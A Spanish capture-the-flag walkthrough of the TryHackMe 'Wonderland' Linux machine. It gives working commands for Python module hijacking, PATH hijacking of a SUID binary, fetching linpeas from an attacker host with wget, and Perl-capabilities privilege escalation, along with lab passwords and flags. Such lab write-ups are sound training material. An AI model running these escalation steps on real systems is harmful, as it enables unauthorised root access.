La máquina no pone mucho más en su introducción, es un sistema Linux, veremos.

Comenzamos con un escaneo típico y agresivo con Rustscan, para detectar puertas abiertas.

rustscan -a 10.10.128.141 -- -A

Están abiertos los puertos 22 (ssh) y 80 (http). Echemos un vistazo a la web de manera visual, mientras tratamos de descubrir directorios interesantes con Gobuster.

gobuster dir -u 10.10.128.141 -x html,php,txt -u /usr/share/wordlists/dirb/common.txt

La página no contiene mucho, que siga al conejo blanco. Me descargo la imagen para ver si tiene algo escondido.

steghide extract -sf rabbit_1.jpg

Sin contraseña, la imagen contiene una pista en un archivo hint.txt que dice follow the r a b b i t

Gobuster ha localizado un directorio /r, vamos a ver qué contiene.

Es una página que dice que siga, así que intuyo que hay un subdirectorio /a y luego más subdirectorios hasta hacer /r/a/b/b/i/t

Efectivamente, seguir eso nos va llevando por páginas con diálogos de Alicia hasta una página final con otra imagen. Está en png, con lo que en principio no debería tener esteganografía de mensaje oculto, pero si miramos el código fuente de esa última página, hay algo invisible:

alice:HowDothTheLittleCrocodileImproveHisShiningTail

Pueden ser las credenciales de ssh, probemos a ver.

ssh alice@IP_Objetivo

Conseguimos entrar por ssh al servidor, empecemos a hacernos una composición de lugar con comandos básicos para saber a qué atenernos.

ls -ahl

Vemos la bandera del administrador, pero no podemos hacer nada con ella porque pertenece al usuario root.

También hay un script que pertenece a root walrus_and_the_carpenter.py que, cuando hacemos sudo -l vemos que podemos ejecutar como el usuario rabbit y será, con suerte, nuestro billete a pivotar aunque sea lateralmente a ese usuario a ver.

La pista para encontrar la bandera de usuario nos dice que todo está al revés aquí, es posible que esté en la carpeta /root

Voy a buscar los archivos que pertenecen a alice:

find / -type f -user alice 2>/dev/null

No aparece y tampoco cuando busco por nombre user.txt, con lo que debe estar en /root.

Pero si hago:

cat /root/user.txt

Puedo leer la bandera:

thm{“Curiouser and curiouser!”}

Echemos un vistazo a ese script de Python ejecutado como el usuario rabbit.

sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

El script no hace mucho, imprime líneas al azar de un poema, pero no puedo modificarlo ni hace llamadas extrañas.

Lo único que importa es el módulo random.

Miro, antes de seguir, el archivo passwd

cat /etc/passwd

Hay otros usuarios en la máquina: rabbit y hatter, además de tryhackme. Me da que voy a tener que pasar por ellos en el camino hacia root.

Cómo pivotar al usuario Rabbit

No podemos sobreescribir la librería random por defecto ni tampoco el script, pero podemos hacer otra cosa.

Vemos que el script de Python llama al módulo random en su primera instrucción.

Pues bien, en este artículo se detalla la forma de cambiar ese módulo random por otro que será malicioso y nos abrirá una consola del usuario rabbit.

La clave está en que si creamos un módulo random.py en el directorio del script de Python, este lo priorizará sobre el módulo random que carga actualmente.

Ese módulo es muy sencillo, importamos el módulo system para poder hacer llamadas de sistema desde Python y ejecutamos una consola que no deje caer los privilegios de rabbit.

import os
os.system("/bin/bash -p")

Ahora, ejecutamos de nuevo el script como usuario rabbit:

sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

Y ya tenemos consola de rabbit. Como no tenemos contraseña, nos olvidamos de sudo -l, pero entramos a su directorio /home/rabbit y vemos que hay un ejecutable teaParty que, por cierto, veo que tiene un bit suid.

Si lo ejecuto dice:

Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by Sat, 29 May 2021 20:01:40 +0000
Ask very nicely, and I will give you some tea while you wait for him

Pongo varias cosas, pero da un error segmentation fault (core dumped).

Usar strace no me dice mucho, así que lo descargo para analizarlo en mi máquina.

python3 -m http.server 8000 # Creo servidor en la máquina víctima
wget IP_Objetivo:8000/teaParty # Lo descargo en mi máquina

Si le paso:

string teaParty

Veo que usa la función date y que no la llama con la ruta completa, con lo que puedo, de nuevo, insertar un date malicioso que se ejecute antes que el habitual.

Para eso creo un archivo date en el directorio /home/rabbit que simplemente contenga la instrucción

/bin/bash -p

Ahora le doy permisos de ejecución

chmod +x date

Ahora he de modificar la ruta de ejecutables para poner primero la del programa date malicioso que acabo de crear.

export PATH=/home/rabbit:$PATH

Ejecuto el programa teaParty y ya soy el usuario hatter.

Me voy a su directorio y hay un archivo password.txt que dice:

WhyIsARavenLikeAWritingDesk?

No creo que sea tan fácil como para que sea la contraseña de administrador, será la suya y me vale, porque eso me permite ejecutar:

sudo -l

Agh, es su contraseña, pero no puede ejecutar nada como superusuario.

Las comprobaciones básicas no me dicen mucho, así que subo linpeas.sh para que me haga un rastreo de vectores de escalada de privilegios. Uso el sistema de crear servidor web en mi máquina y traerlo a la víctima con wget.

python3 -m python.server 8000 # En el directorio donde tengo linpeas.sh en mi máquina
wget IP_Ataque:8000/linpeas.sh # En la víctima
chmod +x linpeas.sh
./linpeas.sh

Tengo problemas con los scripts porque estoy en esa madriguera de usuarios, así que, como tengo la contraseña, entro por shh con el usuario hatter y ejecuto de nuevo linpeas.sh

La clave está en que Perl tiene capabilities, capacidades especiales.

Aquí está cómo explotar las capabilities de Perl para elevar privilegios. Aquí una explicación del de ese mecanismo de elevación de privilegios.

Así que corremos la instrucción:

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

Y tenemos consola de administrador, así que ya podemos leer la bandera que estaba en /home/alice/root.txt

thm{Twinkle, twinkle, little bat! How I wonder what you’re at!}